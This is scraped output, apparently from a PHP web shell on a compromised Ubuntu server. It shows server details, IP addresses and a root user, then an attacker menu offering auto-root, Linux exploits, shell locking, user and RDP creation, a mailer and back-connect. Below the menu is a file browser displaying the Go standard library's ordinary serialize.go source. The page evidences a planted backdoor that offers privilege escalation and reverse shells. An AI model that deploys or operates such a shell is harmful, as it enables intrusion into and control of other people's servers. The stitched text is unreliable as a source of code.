Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
src /
go /
token /
[ HOME SHELL ]
Name
Size
Permission
Action
example_test.go
1.66
KB
-rw-r--r--
position.go
15.74
KB
-rw-r--r--
position_test.go
9.18
KB
-rw-r--r--
serialize.go
1.45
KB
-rw-r--r--
serialize_test.go
2.63
KB
-rw-r--r--
token.go
6.22
KB
-rw-r--r--
token_test.go
796
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : serialize.go
// Copyright 2011 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package token type serializedFile struct { // fields correspond 1:1 to fields with same (lower-case) name in File Name string Base int Size int Lines []int Infos []lineInfo } type serializedFileSet struct { Base int Files []serializedFile } // Read calls decode to deserialize a file set into s; s must not be nil. func (s *FileSet) Read(decode func(interface{}) error) error { var ss serializedFileSet if err := decode(&ss); err != nil { return err } s.mutex.Lock() s.base = ss.Base files := make([]*File, len(ss.Files)) for i := 0; i < len(ss.Files); i++ { f := &ss.Files[i] files[i] = &File{ set: s, name: f.Name, base: f.Base, size: f.Size, lines: f.Lines, infos: f.Infos, } } s.files = files s.last = nil s.mutex.Unlock() return nil } // Write calls encode to serialize the file set s. func (s *FileSet) Write(encode func(interface{}) error) error { var ss serializedFileSet s.mutex.Lock() ss.Base = s.base files := make([]serializedFile, len(s.files)) for i, f := range s.files { f.mutex.Lock() files[i] = serializedFile{ Name: f.name, Base: f.base, Size: f.size, Lines: append([]int(nil), f.lines...), Infos: append([]lineInfo(nil), f.infos...), } f.mutex.Unlock() } ss.Files = files s.mutex.Unlock() return encode(ss) }
Close